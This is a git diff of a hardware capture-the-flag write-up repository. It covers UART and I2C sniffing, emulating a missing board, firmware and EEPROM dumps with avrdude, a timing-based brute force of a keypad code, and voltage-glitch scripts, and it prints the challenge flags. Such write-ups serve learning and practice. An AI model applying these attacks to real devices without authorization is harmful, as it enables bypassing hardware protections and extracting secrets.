+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ int third = cmd.indexOf(':', second + 1);
+ if (first == -1 || second == -1 || third == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1, third);
+ unsigned long duration = cmd.substring(third + 1).toInt();
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ delay(duration);
+ digitalWrite(pin, state ? LOW : HIGH);
+
+ Serial.print("ACK:SET_FOR:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(state ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WATCH:PIN ---------------------------------------------------------
+void handleWatch(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS || !isInput[index]) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+ watching[index] = true;
+ Serial.print("ACK:WATCH:");
+ Serial.println(pin);
+}
+
+// --- GET_STATE:PIN -----------------------------------------------------
+void handleGetState(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int state = digitalRead(pin);
+ Serial.print("STATE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state == HIGH ? "HIGH" : "LOW");
+}
+
+// --- GET_DURATION:PIN --------------------------------------------------
+void handleGetDuration(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS) return;
+ unsigned long duration = millis() - lastChangeTime[index];
+ Serial.print("DURATION:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WAIT_FOR:PIN:STATE ------------------------------------------------
+void handleWaitFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+ int pin = cmd.substring(first + 1, second).toInt();
+ String targetStateStr = cmd.substring(second + 1);
+ bool targetState = (targetStateStr == "HIGH");
+ unsigned long startTime = millis();
+ while (digitalRead(pin) != targetState) {
+ delay(1);
+ }
+ unsigned long duration = millis() - startTime;
+ Serial.print("WAIT_RESULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(targetState ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// ------------------------------------------------------------------
+// Watch monitoring
+// ------------------------------------------------------------------
+void monitorWatchedPins() {
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (watching[i] && isInput[i]) {
+ int pin = FIRST_PIN + i;
+ int currentState = digitalRead(pin);
+ if (currentState != lastState[i]) {
+ unsigned long now = millis();
+ unsigned long duration = now - lastChangeTime[i];
+ lastChangeTime[i] = now;
+ lastState[i] = currentState;
+ Serial.print("CHANGE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(currentState == HIGH ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+ }
+ }
+ }
+}
diff --git a/docs/09_header_pins.png b/docs/09_header_pins.png
new file mode 100644
index 0000000..6b970b5
--- /dev/null
+++ b/docs/09_header_pins.png
Binary files differ
diff --git a/docs/09_logic_01.png b/docs/09_logic_01.png
new file mode 100644
index 0000000..ee2983b
--- /dev/null
+++ b/docs/09_logic_01.png
Binary files differ
diff --git a/docs/09_logic_02.png b/docs/09_logic_02.png
new file mode 100644
index 0000000..ea925d4
--- /dev/null
+++ b/docs/09_logic_02.png
Binary files differ
diff --git a/docs/09_logic_03.png b/docs/09_logic_03.png
new file mode 100644
index 0000000..4270c11
--- /dev/null
+++ b/docs/09_logic_03.png
Binary files differ
diff --git a/docs/09_result.png b/docs/09_result.png
new file mode 100644
index 0000000..69d6d2f
--- /dev/null
+++ b/docs/09_result.png
Binary files differ
diff --git a/docs/09_setup.png b/docs/09_setup.png
new file mode 100644
index 0000000..b73fbf5
--- /dev/null
+++ b/docs/09_setup.png
Binary files differ
diff --git a/docs/10_GoB.png b/docs/10_GoB.png
new file mode 100644
index 0000000..f694e8c
--- /dev/null
+++ b/docs/10_GoB.png
Binary files differ
diff --git a/docs/10_GoB_config.py b/docs/10_GoB_config.py
new file mode 100644
index 0000000..01de69c
--- /dev/null
+++ b/docs/10_GoB_config.py
@@ -0,0 +1,152 @@
+######
+# LEAVE THESE IMPORTS!
+######
+from arduinIO import ArduinoController
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+######
+# arduinIO values
+######
+ARDIO_PORT = "/dev/ttyACM2"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
+ARDIO_PULSE_DURATION_MS = 300
+
+arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+arduino.connect()
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ['run', False, "", 'find_code'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ version = arduino.get_version()
+ functions.add_text(f"[INFO] Connected to Arduino: {version}")
+
+ # Configure pins
+ functions.add_text("[INFO] Configuring pin modes...")
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ for pin in ARDIO_OUTPUT_PINS:
+ arduino.set_mode(pin, "OUTPUT")
+ arduino.set_default(pin, "LOW")
+
+ # Display current configuration
+ pinmap = arduino.get_pinmap()
+ functions.add_text(f"[INFO] Pin map: {pinmap}")
+
+
+def button_ok():
+ # Pulse one output pin
+ functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dash():
+ functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_space():
+ functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dot():
+ functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def echo_trigger_state():
+ state = arduino.get_state(ARDIO_INPUT_PIN)
+ functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
+
+def find_code():
+ candidate_pins = [8, 9, 10, 11] # include pin 8 as a candidate
+ code_sequence = []
+ pin_to_symbol = {8: "OK", 9: "*", 10: ".", 11: "-"}
+
+ functions.add_text("[INFO] Starting full code discovery sequence")
+
+ for digit_index in range(4):
+ functions.add_text(f"[INFO] Finding digit {digit_index + 1}")
+ results = {}
+
+ for test_pin in candidate_pins:
+ # Build the sequence: previously found digits + candidate repeated to fill 4 pulses
+ sequence = code_sequence.copy()
+ remaining_pulses = 4 - len(sequence)
+ sequence += [test_pin] * remaining_pulses
+ symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
+ functions.add_text(f"[TEST] Testing candidate pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
+ f"sequence: {' '.join(symbol_seq)}")
+
+ # Send all pulses in the sequence, starting timer immediately before the fourth pulse
+ for i, pin in enumerate(sequence):
+ if i == len(sequence) - 1:
+ # Start timer immediately before sending the fourth pulse
+ start_time = time.time()
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ # Allow a short interval for the device to react
+ time.sleep(0.05)
+ # Wait for the input to go HIGH and capture result
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
+ end_time = time.time()
+
+ # Safely extract duration from result or compute fallback
+ if isinstance(result, dict):
+ duration = result.get("duration_ms",
+ int((end_time - start_time) * 1000))
+ else:
+ duration = int((end_time - start_time) * 1000)
+
+ functions.add_text(f"[RESULT] Candidate pin {test_pin} - LOW->HIGH {duration} ms.")
+ results[test_pin] = duration
+ else:
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+ # small pause between candidates
+ time.sleep(0.8)
+
+ # Choose the candidate with the longest duration for this digit
+ correct_pin = max(results, key=results.get)
+ code_sequence.append(correct_pin)
+
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
+ f"{pin_to_symbol.get(correct_pin)}")
+
+ translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
+ functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
+ functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
+
+ return code_sequence, translated_sequence
+
+def stop_glitch():
+ functions.set_uart_switch(False)
\ No newline at end of file
diff --git a/docs/10_setup.png b/docs/10_setup.png
new file mode 100644
index 0000000..008945c
--- /dev/null
+++ b/docs/10_setup.png
Binary files differ
diff --git a/docs/11_GoB.png b/docs/11_GoB.png
new file mode 100644
index 0000000..07f38ae
--- /dev/null
+++ b/docs/11_GoB.png
Binary files differ
diff --git a/docs/11_GoB_config.py b/docs/11_GoB_config.py
new file mode 100644
index 0000000..f7e8036
--- /dev/null
+++ b/docs/11_GoB_config.py
@@ -0,0 +1,123 @@
+import functions
+import threading
+import time
+
+###### Config values ######
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 1000000
+UART_NEWLINE = "\n"
+
+LENGTH = 12
+REPEAT = 1
+DELAY = 0
+
+### name, enabled, string to match ###
+conditions = [
+ ['run', True, 'Password:', 'try_glitch'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+###### Custom functions ######
+def try_glitch():
+ Len = functions.get_config_value("length")
+ Rep = functions.get_config_value("repeat")
+ Del = functions.get_config_value("delay")
+ time.sleep(0.2)
+
+ tx_thread = threading.Thread(
+ target=functions.send_uart_message,
+ args=("aaaaaaaaaaaaaaaaaaaaa",),
+ daemon=True
+ )
+
+ glitch_thread = threading.Thread(
+ target=functions.start_glitch,
+ args=(Len, Rep, Del),
+ daemon=True
+ )
+
+ glitch_thread.start()
+ tx_thread.start()
+
+ try:
+ current_delay = int(Del)
+ except (ValueError, TypeError):
+ current_delay = 0
+
+ try:
+ current_repeat = int(Rep)
+ except (ValueError, TypeError):
+ current_repeat = 0
+
+ new_delay = current_delay + 1
+
+ if new_delay >= 51:
+ new_delay = 0
+ new_repeat = current_repeat + 1
+ if new_repeat >= 20:
+ new_repeat = 1
+ functions.set_config_value("repeat", new_repeat)
+
+ functions.set_config_value("delay", new_delay)
+
+
+def stop_glitch():
+ buf = functions.read_uart_buffer()
+
+ if "TS{D@mn_y0u_@r3_g006}" in buf:
+ functions.start_glitch(16, 1, 0)
+ else:
+ functions.set_condition_value(0, False)
+ functions.set_uart_switch(False)
+
+
+###### Inactivity watchdog ######
+def config_inactivity_monitor(timeout=5):
+ """
+ Monitor 'delay' and 'repeat' configuration values.
+ Restart device if they do not change for 'timeout' seconds
+ AND condition 0 remains True.
+ """
+ # Wait for functions.config to be initialised
+ while True:
+ try:
+ _ = functions.get_config_value("delay")
+ break
+ except AttributeError:
+ print("[Watchdog] Waiting for configuration to initialise...")
+ time.sleep(1)
+
+ last_delay = functions.get_config_value("delay")
+ last_repeat = functions.get_config_value("repeat")
+ last_change_time = time.time()
+
+ while True:
+ try:
+ current_delay = functions.get_config_value("delay")
+ current_repeat = functions.get_config_value("repeat")
+ condition_active = functions.get_condition_value(0)
+
+ if str(current_delay) != str(last_delay) or str(current_repeat) != str(last_repeat):
+ last_change_time = time.time()
+ last_delay = current_delay
+ last_repeat = current_repeat
+
+ if condition_active and (time.time() - last_change_time > timeout):
+ print("[Watchdog] Inactivity detected. Restarting glitch...")
+ functions.start_glitch(16, 1, 0)
+ last_change_time = time.time()
+
+ except Exception as e:
+ print(f"[Watchdog Error] {e}")
+
+ time.sleep(1)
+
+
+# Start watchdog thread after slight delay to allow initialisation
+def start_watchdog():
+ time.sleep(2) # ensures 'functions.config' is ready
+ monitor_thread = threading.Thread(target=config_inactivity_monitor, daemon=True)
+ monitor_thread.start()
+
+
+threading.Thread(target=start_watchdog, daemon=True).start()
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
